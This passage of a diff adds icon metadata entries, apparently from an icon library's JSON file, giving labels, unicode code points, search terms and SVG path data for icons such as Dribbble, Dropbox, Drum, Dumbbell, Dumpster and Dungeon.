360.88zM272 256c0-8.82 7.18-16 16-16s16 7.18 16 16-7.18 16-16 16-16-7.18-16-16zM400 96c0 8.82-7.18 16-16 16s-16-7.18-16-16 7.18-16 16-16 16 7.18 16 16zM64 80c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16zM48 416c0-8.82 7.18-16 16-16s16 7.18 16 16-7.18 16-16 16-16-7.18-16-16zm336 16c-8.82 0-16-7.18-16-16s7.18-16 16-16 16 7.18 16 16-7.18 16-16 16z" + } + }, + "free": [ + "solid" + ] + }, + "dribbble": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f17d", + "label": "Dribbble", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860981, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119.252 8 8 119.252 8 256s111.252 248 248 248 248-111.252 248-248S392.748 8 256 8zm163.97 114.366c29.503 36.046 47.369 81.957 47.835 131.955-6.984-1.477-77.018-15.682-147.502-6.818-5.752-14.041-11.181-26.393-18.617-41.614 78.321-31.977 113.818-77.482 118.284-83.523zM396.421 97.87c-3.81 5.427-35.697 48.286-111.021 76.519-34.712-63.776-73.185-116.168-79.04-124.008 67.176-16.193 137.966 1.27 190.061 47.489zm-230.48-33.25c5.585 7.659 43.438 60.116 78.537 122.509-99.087 26.313-186.36 25.934-195.834 25.809C62.38 147.205 106.678 92.573 165.941 64.62zM44.17 256.323c0-2.166.043-4.322.108-6.473 9.268.19 111.92 1.513 217.706-30.146 6.064 11.868 11.857 23.915 17.174 35.949-76.599 21.575-146.194 83.527-180.531 142.306C64.794 360.405 44.17 310.73 44.17 256.323zm81.807 167.113c22.127-45.233 82.178-103.622 167.579-132.756 29.74 77.283 42.039 142.053 45.189 160.638-68.112 29.013-150.015 21.053-212.768-27.882zm248.38 8.489c-2.171-12.886-13.446-74.897-41.152-151.033 66.38-10.626 124.7 6.768 131.947 9.055-9.442 58.941-43.273 109.844-90.795 141.978z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119.252 8 8 119.252 8 256s111.252 248 248 248 248-111.252 248-248S392.748 8 256 8zm163.97 114.366c29.503 36.046 47.369 81.957 47.835 131.955-6.984-1.477-77.018-15.682-147.502-6.818-5.752-14.041-11.181-26.393-18.617-41.614 78.321-31.977 113.818-77.482 118.284-83.523zM396.421 97.87c-3.81 5.427-35.697 48.286-111.021 76.519-34.712-63.776-73.185-116.168-79.04-124.008 67.176-16.193 137.966 1.27 190.061 47.489zm-230.48-33.25c5.585 7.659 43.438 60.116 78.537 122.509-99.087 26.313-186.36 25.934-195.834 25.809C62.38 147.205 106.678 92.573 165.941 64.62zM44.17 256.323c0-2.166.043-4.322.108-6.473 9.268.19 111.92 1.513 217.706-30.146 6.064 11.868 11.857 23.915 17.174 35.949-76.599 21.575-146.194 83.527-180.531 142.306C64.794 360.405 44.17 310.73 44.17 256.323zm81.807 167.113c22.127-45.233 82.178-103.622 167.579-132.756 29.74 77.283 42.039 142.053 45.189 160.638-68.112 29.013-150.015 21.053-212.768-27.882zm248.38 8.489c-2.171-12.886-13.446-74.897-41.152-151.033 66.38-10.626 124.7 6.768 131.947 9.055-9.442 58.941-43.273 109.844-90.795 141.978z" + } + }, + "free": [ + "brands" + ] + }, + "dribbble-square": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f397", + "label": "Dribbble Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860981, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M90.2 228.2c8.9-42.4 37.4-77.7 75.7-95.7 3.6 4.9 28 38.8 50.7 79-64 17-120.3 16.8-126.4 16.7zM314.6 154c-33.6-29.8-79.3-41.1-122.6-30.6 3.8 5.1 28.6 38.9 51 80 48.6-18.3 69.1-45.9 71.6-49.4zM140.1 364c40.5 31.6 93.3 36.7 137.3 18-2-12-10-53.8-29.2-103.6-55.1 18.8-93.8 56.4-108.1 85.6zm98.8-108.2c-3.4-7.8-7.2-15.5-11.1-23.2C159.6 253 93.4 252.2 87.4 252c0 1.4-.1 2.8-.1 4.2 0 35.1 13.3 67.1 35.1 91.4 22.2-37.9 67.1-77.9 116.5-91.8zm34.9 16.3c17.9 49.1 25.1 89.1 26.5 97.4 30.7-20.7 52.5-53.6 58.6-91.6-4.6-1.5-42.3-12.7-85.1-5.8zm-20.3-48.4c4.8 9.8 8.3 17.8 12 26.8 45.5-5.7 90.7 3.4 95.2 4.4-.3-32.3-11.8-61.9-30.9-85.1-2.9 3.9-25.8 33.2-76.3 53.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 176c0-88.2-71.8-160-160-160S64 167.8 64 256s71.8 160 160 160 160-71.8 160-160z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M90.2 228.2c8.9-42.4 37.4-77.7 75.7-95.7 3.6 4.9 28 38.8 50.7 79-64 17-120.3 16.8-126.4 16.7zM314.6 154c-33.6-29.8-79.3-41.1-122.6-30.6 3.8 5.1 28.6 38.9 51 80 48.6-18.3 69.1-45.9 71.6-49.4zM140.1 364c40.5 31.6 93.3 36.7 137.3 18-2-12-10-53.8-29.2-103.6-55.1 18.8-93.8 56.4-108.1 85.6zm98.8-108.2c-3.4-7.8-7.2-15.5-11.1-23.2C159.6 253 93.4 252.2 87.4 252c0 1.4-.1 2.8-.1 4.2 0 35.1 13.3 67.1 35.1 91.4 22.2-37.9 67.1-77.9 116.5-91.8zm34.9 16.3c17.9 49.1 25.1 89.1 26.5 97.4 30.7-20.7 52.5-53.6 58.6-91.6-4.6-1.5-42.3-12.7-85.1-5.8zm-20.3-48.4c4.8 9.8 8.3 17.8 12 26.8 45.5-5.7 90.7 3.4 95.2 4.4-.3-32.3-11.8-61.9-30.9-85.1-2.9 3.9-25.8 33.2-76.3 53.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 176c0-88.2-71.8-160-160-160S64 167.8 64 256s71.8 160 160 160 160-71.8 160-160z" + } + }, + "free": [ + "brands" + ] + }, + "dropbox": { + "changes": [ + "3.2", + "5.0.0", + "5.0.1" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f16b", + "label": "Dropbox", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860982, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 528 512\"><path d=\"M264.4 116.3l-132 84.3 132 84.3-132 84.3L0 284.1l132.3-84.3L0 116.3 132.3 32l132.1 84.3zM131.6 395.7l132-84.3 132 84.3-132 84.3-132-84.3zm132.8-111.6l132-84.3-132-83.6L395.7 32 528 116.3l-132.3 84.3L528 284.8l-132.3 84.3-131.3-85z\"/></svg>", + "viewBox": [ + "0", + "0", + "528", + "512" + ], + "width": 528, + "height": 512, + "path": "M264.4 116.3l-132 84.3 132 84.3-132 84.3L0 284.1l132.3-84.3L0 116.3 132.3 32l132.1 84.3zM131.6 395.7l132-84.3 132 84.3-132 84.3-132-84.3zm132.8-111.6l132-84.3-132-83.6L395.7 32 528 116.3l-132.3 84.3L528 284.8l-132.3 84.3-131.3-85z" + } + }, + "free": [ + "brands" + ] + }, + "drum": { + "changes": [ + "5.1.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "instrument", + "music", + "percussion", + "snare", + "sound" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f569", + "label": "Drum", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635455, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M431.34 122.05l73.53-47.42a16 16 0 0 0 4.44-22.19l-8.87-13.31a16 16 0 0 0-22.19-4.44l-110.06 71C318.43 96.91 271.22 96 256 96 219.55 96 0 100.55 0 208.15v160.23c0 30.27 27.5 57.68 72 77.86v-101.9a24 24 0 1 1 48 0v118.93c33.05 9.11 71.07 15.06 112 16.73V376.39a24 24 0 1 1 48 0V480c40.93-1.67 78.95-7.62 112-16.73V344.34a24 24 0 1 1 48 0v101.9c44.5-20.18 72-47.59 72-77.86V208.15c0-43.32-35.76-69.76-80.66-86.1zM256 272.24c-114.88 0-208-28.69-208-64.09s93.12-64.08 208-64.08c17.15 0 33.73.71 49.68 1.91l-72.81 47a16 16 0 0 0-4.43 22.19l8.87 13.31a16 16 0 0 0 22.19 4.44l118.64-76.52C430.09 168 464 186.84 464 208.15c0 35.4-93.13 64.09-208 64.09z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M431.34 122.05l73.53-47.42a16 16 0 0 0 4.44-22.19l-8.87-13.31a16 16 0 0 0-22.19-4.44l-110.06 71C318.43 96.91 271.22 96 256 96 219.55 96 0 100.55 0 208.15v160.23c0 30.27 27.5 57.68 72 77.86v-101.9a24 24 0 1 1 48 0v118.93c33.05 9.11 71.07 15.06 112 16.73V376.39a24 24 0 1 1 48 0V480c40.93-1.67 78.95-7.62 112-16.73V344.34a24 24 0 1 1 48 0v101.9c44.5-20.18 72-47.59 72-77.86V208.15c0-43.32-35.76-69.76-80.66-86.1zM256 272.24c-114.88 0-208-28.69-208-64.09s93.12-64.08 208-64.08c17.15 0 33.73.71 49.68 1.91l-72.81 47a16 16 0 0 0-4.43 22.19l8.87 13.31a16 16 0 0 0 22.19 4.44l118.64-76.52C430.09 168 464 186.84 464 208.15c0 35.4-93.13 64.09-208 64.09z" + } + }, + "free": [ + "solid" + ] + }, + "drum-steelpan": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "calypso", + "instrument", + "music", + "percussion", + "reggae", + "snare", + "sound", + "steel", + "tropical" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f56a", + "label": "Drum Steelpan", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635454, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 32C128.94 32 0 89.31 0 160v192c0 70.69 128.94 128 288 128s288-57.31 288-128V160c0-70.69-128.94-128-288-128zm-82.99 158.36c-4.45 16.61-14.54 30.57-28.31 40.48C100.23 217.46 48 190.78 48 160c0-30.16 50.11-56.39 124.04-70.03l25.6 44.34c9.86 17.09 12.48 36.99 7.37 56.05zM288 240c-21.08 0-41.41-1-60.89-2.7 8.06-26.13 32.15-45.3 60.89-45.3s52.83 19.17 60.89 45.3C329.41 239 309.08 240 288 240zm64-144c0 35.29-28.71 64-64 64s-64-28.71-64-64V82.96c20.4-1.88 41.8-2.96 64-2.96s43.6 1.08 64 2.96V96zm46.93 134.9c-13.81-9.91-23.94-23.9-28.4-40.54-5.11-19.06-2.49-38.96 7.38-56.04l25.65-44.42C477.72 103.5 528 129.79 528 160c0 30.83-52.4 57.54-129.07 70.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M288 32C128.94 32 0 89.31 0 160v192c0 70.69 128.94 128 288 128s288-57.31 288-128V160c0-70.69-128.94-128-288-128zm-82.99 158.36c-4.45 16.61-14.54 30.57-28.31 40.48C100.23 217.46 48 190.78 48 160c0-30.16 50.11-56.39 124.04-70.03l25.6 44.34c9.86 17.09 12.48 36.99 7.37 56.05zM288 240c-21.08 0-41.41-1-60.89-2.7 8.06-26.13 32.15-45.3 60.89-45.3s52.83 19.17 60.89 45.3C329.41 239 309.08 240 288 240zm64-144c0 35.29-28.71 64-64 64s-64-28.71-64-64V82.96c20.4-1.88 41.8-2.96 64-2.96s43.6 1.08 64 2.96V96zm46.93 134.9c-13.81-9.91-23.94-23.9-28.4-40.54-5.11-19.06-2.49-38.96 7.38-56.04l25.65-44.42C477.72 103.5 528 129.79 528 160c0 30.83-52.4 57.54-129.07 70.9z" + } + }, + "free": [ + "solid" + ] + }, + "drumstick-bite": { + "changes": [ + "5.4.0", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bone", + "chicken", + "leg", + "meat", + "poultry", + "turkey" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6d7", + "label": "Drumstick with Bite Taken Out", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635455, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M462.8 49.57a169.44 169.44 0 0 0-239.5 0C187.82 85 160.13 128 160.13 192v85.83l-40.62 40.59c-9.7 9.69-24 11.07-36.78 6a60.33 60.33 0 0 0-65 98.72C33 438.39 54.24 442.7 73.85 438.21c-4.5 19.6-.18 40.83 15.1 56.1a60.35 60.35 0 0 0 98.8-65c-5.09-12.73-3.72-27 6-36.75L234.36 352h85.89a187.87 187.87 0 0 0 61.89-10c-39.64-43.89-39.83-110.23 1.05-151.07 34.38-34.36 86.76-39.46 128.74-16.8 1.3-44.96-14.81-90.28-49.13-124.56z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M462.8 49.57a169.44 169.44 0 0 0-239.5 0C187.82 85 160.13 128 160.13 192v85.83l-40.62 40.59c-9.7 9.69-24 11.07-36.78 6a60.33 60.33 0 0 0-65 98.72C33 438.39 54.24 442.7 73.85 438.21c-4.5 19.6-.18 40.83 15.1 56.1a60.35 60.35 0 0 0 98.8-65c-5.09-12.73-3.72-27 6-36.75L234.36 352h85.89a187.87 187.87 0 0 0 61.89-10c-39.64-43.89-39.83-110.23 1.05-151.07 34.38-34.36 86.76-39.46 128.74-16.8 1.3-44.96-14.81-90.28-49.13-124.56z" + } + }, + "free": [ + "solid" + ] + }, + "drupal": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1a9", + "label": "Drupal Logo", + "voted": false, + "svg": { + "brands": { + "last_modified": 1628088633722, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M319.5 114.7c-22.2-14-43.5-19.5-64.7-33.5-13-8.8-31.3-30-46.5-48.3-2.7 29.3-11.5 41.2-22 49.5-21.3 17-34.8 22.2-53.5 32.3C117 123 32 181.5 32 290.5 32 399.7 123.8 480 225.8 480 327.5 480 416 406 416 294c0-112.3-83-171-96.5-179.3zm2.5 325.6c-20.1 20.1-90.1 28.7-116.7 4.2-4.8-4.8.3-12 6.5-12 0 0 17 13.3 51.5 13.3 27 0 46-7.7 54.5-14 6.1-4.6 8.4 4.3 4.2 8.5zm-54.5-52.6c8.7-3.6 29-3.8 36.8 1.3 4.1 2.8 16.1 18.8 6.2 23.7-8.4 4.2-1.2-15.7-26.5-15.7-14.7 0-19.5 5.2-26.7 11-7 6-9.8 8-12.2 4.7-6-8.2 15.9-22.3 22.4-25zM360 405c-15.2-1-45.5-48.8-65-49.5-30.9-.9-104.1 80.7-161.3 42-38.8-26.6-14.6-104.8 51.8-105.2 49.5-.5 83.8 49 108.5 48.5 21.3-.3 61.8-41.8 81.8-41.8 48.7 0 23.3 109.3-15.8 106z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M319.5 114.7c-22.2-14-43.5-19.5-64.7-33.5-13-8.8-31.3-30-46.5-48.3-2.7 29.3-11.5 41.2-22 49.5-21.3 17-34.8 22.2-53.5 32.3C117 123 32 181.5 32 290.5 32 399.7 123.8 480 225.8 480 327.5 480 416 406 416 294c0-112.3-83-171-96.5-179.3zm2.5 325.6c-20.1 20.1-90.1 28.7-116.7 4.2-4.8-4.8.3-12 6.5-12 0 0 17 13.3 51.5 13.3 27 0 46-7.7 54.5-14 6.1-4.6 8.4 4.3 4.2 8.5zm-54.5-52.6c8.7-3.6 29-3.8 36.8 1.3 4.1 2.8 16.1 18.8 6.2 23.7-8.4 4.2-1.2-15.7-26.5-15.7-14.7 0-19.5 5.2-26.7 11-7 6-9.8 8-12.2 4.7-6-8.2 15.9-22.3 22.4-25zM360 405c-15.2-1-45.5-48.8-65-49.5-30.9-.9-104.1 80.7-161.3 42-38.8-26.6-14.6-104.8 51.8-105.2 49.5-.5 83.8 49 108.5 48.5 21.3-.3 61.8-41.8 81.8-41.8 48.7 0 23.3 109.3-15.8 106z" + } + }, + "free": [ + "brands" + ] + }, + "dumbbell": { + "changes": [ + "5.0.5" + ], + "ligatures": [], + "search": { + "terms": [ + "exercise", + "gym", + "strength", + "weight", + "weight-lifting" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f44b", + "label": "Dumbbell", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635456, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M104 96H56c-13.3 0-24 10.7-24 24v104H8c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h24v104c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24zm528 128h-24V120c0-13.3-10.7-24-24-24h-48c-13.3 0-24 10.7-24 24v272c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V288h24c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zM456 32h-48c-13.3 0-24 10.7-24 24v168H256V56c0-13.3-10.7-24-24-24h-48c-13.3 0-24 10.7-24 24v400c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V288h128v168c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M104 96H56c-13.3 0-24 10.7-24 24v104H8c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h24v104c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24zm528 128h-24V120c0-13.3-10.7-24-24-24h-48c-13.3 0-24 10.7-24 24v272c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V288h24c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zM456 32h-48c-13.3 0-24 10.7-24 24v168H256V56c0-13.3-10.7-24-24-24h-48c-13.3 0-24 10.7-24 24v400c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V288h128v168c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24z" + } + }, + "free": [ + "solid" + ] + }, + "dumpster": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "alley", + "bin", + "commercial", + "trash", + "waste" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f793", + "label": "Dumpster", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635456, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M560 160c10.4 0 18-9.8 15.5-19.9l-24-96C549.7 37 543.3 32 536 32h-98.9l25.6 128H560zM272 32H171.5l-25.6 128H272V32zm132.5 0H304v128h126.1L404.5 32zM16 160h97.3l25.6-128H40c-7.3 0-13.7 5-15.5 12.1l-24 96C-2 150.2 5.6 160 16 160zm544 64h-20l4-32H32l4 32H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h28l20 160v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h320v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16l20-160h28c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M560 160c10.4 0 18-9.8 15.5-19.9l-24-96C549.7 37 543.3 32 536 32h-98.9l25.6 128H560zM272 32H171.5l-25.6 128H272V32zm132.5 0H304v128h126.1L404.5 32zM16 160h97.3l25.6-128H40c-7.3 0-13.7 5-15.5 12.1l-24 96C-2 150.2 5.6 160 16 160zm544 64h-20l4-32H32l4 32H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h28l20 160v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h320v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16l20-160h28c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "dumpster-fire": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "alley", + "bin", + "commercial", + "danger", + "dangerous", + "euphemism", + "flame", + "heat", + "hot", + "trash", + "waste" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f794", + "label": "Dumpster Fire", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635456, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M418.7 104.1l.2-.2-14.4-72H304v128h60.8c16.2-19.3 34.2-38.2 53.9-55.8zM272 32H171.5l-25.6 128H272V32zm189.3 72.1c18.2 16.3 35.5 33.7 51.1 51.5 5.7-5.6 11.4-11.1 17.3-16.3l21.3-19 21.3 19c1.1.9 2.1 2.1 3.1 3.1-.1-.8.2-1.5 0-2.3l-24-96C549.7 37 543.3 32 536 32h-98.9l12.3 61.5 11.9 10.6zM16 160h97.3l25.6-128H40c-7.3 0-13.7 5-15.5 12.1l-24 96C-2 150.2 5.6 160 16 160zm324.6 32H32l4 32H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h28l20 160v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h208.8c-30.2-33.7-48.8-77.9-48.8-126.4 0-35.9 19.9-82.9 52.6-129.6zm210.5-28.8c-14.9 13.3-28.3 27.2-40.2 41.2-19.5-25.8-43.6-52-71-76.4-70.2 62.7-120 144.3-120 193.6 0 87.5 71.6 158.4 160 158.4s160-70.9 160-158.4c.1-36.6-37-112.2-88.8-158.4zm-18.6 229.4c-14.7 10.7-32.9 17-52.5 17-49 0-88.9-33.5-88.9-88 0-27.1 16.5-51 49.4-91.9 4.7 5.6 67.1 88.1 67.1 88.1l39.8-47c2.8 4.8 5.4 9.5 7.7 14 18.6 36.7 10.8 83.6-22.6 107.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M418.7 104.1l.2-.2-14.4-72H304v128h60.8c16.2-19.3 34.2-38.2 53.9-55.8zM272 32H171.5l-25.6 128H272V32zm189.3 72.1c18.2 16.3 35.5 33.7 51.1 51.5 5.7-5.6 11.4-11.1 17.3-16.3l21.3-19 21.3 19c1.1.9 2.1 2.1 3.1 3.1-.1-.8.2-1.5 0-2.3l-24-96C549.7 37 543.3 32 536 32h-98.9l12.3 61.5 11.9 10.6zM16 160h97.3l25.6-128H40c-7.3 0-13.7 5-15.5 12.1l-24 96C-2 150.2 5.6 160 16 160zm324.6 32H32l4 32H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h28l20 160v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h208.8c-30.2-33.7-48.8-77.9-48.8-126.4 0-35.9 19.9-82.9 52.6-129.6zm210.5-28.8c-14.9 13.3-28.3 27.2-40.2 41.2-19.5-25.8-43.6-52-71-76.4-70.2 62.7-120 144.3-120 193.6 0 87.5 71.6 158.4 160 158.4s160-70.9 160-158.4c.1-36.6-37-112.2-88.8-158.4zm-18.6 229.4c-14.7 10.7-32.9 17-52.5 17-49 0-88.9-33.5-88.9-88 0-27.1 16.5-51 49.4-91.9 4.7 5.6 67.1 88.1 67.1 88.1l39.8-47c2.8 4.8 5.4 9.5 7.7 14 18.6 36.7 10.8 83.6-22.6 107.8z" + } + }, + "free": [ + "solid" + ] + }, + "dungeon": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Dungeons & Dragons", + "building", + "d&d", + "dnd", + "door", + "entrance", + "fantasy", + "gate" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6d9", + "label": "Dungeon", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635457, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M128.73 195.32l-82.81-51.76c-8.04-5.02-18.99-2.17-22.93 6.45A254.19 254.19 0 0 0 .54 239.28C-.05 248.37 7.59 256 16.69 256h97.13c7.96 0 14.08-6.25 15.01-14.16 1.09-9.33 3.24-18.33 6.24-26.94 2.56-7.34.25-15.46-6.34-19.58zM319.03 8C298.86 2.82 277.77 0 256 0s-42.86 2.82-63.03 8c-9.17 2.35-13.91 12.6-10.39 21.39l37.47 104.03A16.003 16.003 0 0 0 235.1 144h41.8c6.75 0 12.77-4.23 15.05-10.58l37.47-104.03c3.52-8.79-1.22-19.03-10.39-21.39zM112 288H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm0 128H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm77.31-283.67l-36.32-90.8c-3.53-8.83-14.13-12.99-22.42-8.31a257.308 257.308 0 0 0-71.61 59.89c-6.06 7.32-3.85 18.48 4.22 23.52l82.93 51.83c6.51 4.07 14.66 2.62 20.11-2.79 5.18-5.15 10.79-9.85 16.79-14.05 6.28-4.41 9.15-12.17 6.3-19.29zM398.18 256h97.13c9.1 0 16.74-7.63 16.15-16.72a254.135 254.135 0 0 0-22.45-89.27c-3.94-8.62-14.89-11.47-22.93-6.45l-82.81 51.76c-6.59 4.12-8.9 12.24-6.34 19.58 3.01 8.61 5.15 17.62 6.24 26.94.93 7.91 7.05 14.16 15.01 14.16zm54.85-162.89a257.308 257.308 0 0 0-71.61-59.89c-8.28-4.68-18.88-.52-22.42 8.31l-36.32 90.8c-2.85 7.12.02 14.88 6.3 19.28 6 4.2 11.61 8.9 16.79 14.05 5.44 5.41 13.6 6.86 20.11 2.79l82.93-51.83c8.07-5.03 10.29-16.19 4.22-23.51zM496 288h-96c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm0 128h-96c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zM240 177.62V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V177.62c-5.23-.89-10.52-1.62-16-1.62s-10.77.73-16 1.62zm-64 41.51V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V189.36c-12.78 7.45-23.84 17.47-32 29.77zm128-29.77V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V219.13c-8.16-12.3-19.22-22.32-32-29.77z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M128.73 195.32l-82.81-51.76c-8.04-5.02-18.99-2.17-22.93 6.45A254.19 254.19 0 0 0 .54 239.28C-.05 248.37 7.59 256 16.69 256h97.13c7.96 0 14.08-6.25 15.01-14.16 1.09-9.33 3.24-18.33 6.24-26.94 2.56-7.34.25-15.46-6.34-19.58zM319.03 8C298.86 2.82 277.77 0 256 0s-42.86 2.82-63.03 8c-9.17 2.35-13.91 12.6-10.39 21.39l37.47 104.03A16.003 16.003 0 0 0 235.1 144h41.8c6.75 0 12.77-4.23 15.05-10.58l37.47-104.03c3.52-8.79-1.22-19.03-10.39-21.39zM112 288H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm0 128H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm77.31-283.67l-36.32-90.8c-3.53-8.83-14.13-12.99-22.42-8.31a257.308 257.308 0 0 0-71.61 59.89c-6.06 7.32-3.85 18.48 4.22 23.52l82.93 51.83c6.51 4.07 14.66 2.62 20.11-2.79 5.18-5.15 10.79-9.85 16.79-14.05 6.28-4.41 9.15-12.17 6.3-19.29zM398.18 256h97.13c9.1 0 16.74-7.63 16.15-16.72a254.135 254.135 0 0 0-22.45-89.27c-3.94-8.62-14.89-11.47-22.93-6.45l-82.81 51.76c-6.59 4.12-8.9 12.24-6.34 19.58 3.01 8.61 5.15 17.62 6.24 26.94.93 7.91 7.05 14.16 15.01 14.16zm54.85-162.89a257.308 257.308 0 0 0-71.61-59.89c-8.28-4.68-18.88-.52-22.42 8.31l-36.32 90.8c-2.85 7.12.02 14.88 6.3 19.28 6 4.2 11.61 8.9 16.79 14.05 5.44 5.41 13.6 6.86 20.11 2.79l82.93-51.83c8.07-5.03 10.29-16.19 4.22-23.51zM496 288h-96c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm0 128h-96c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 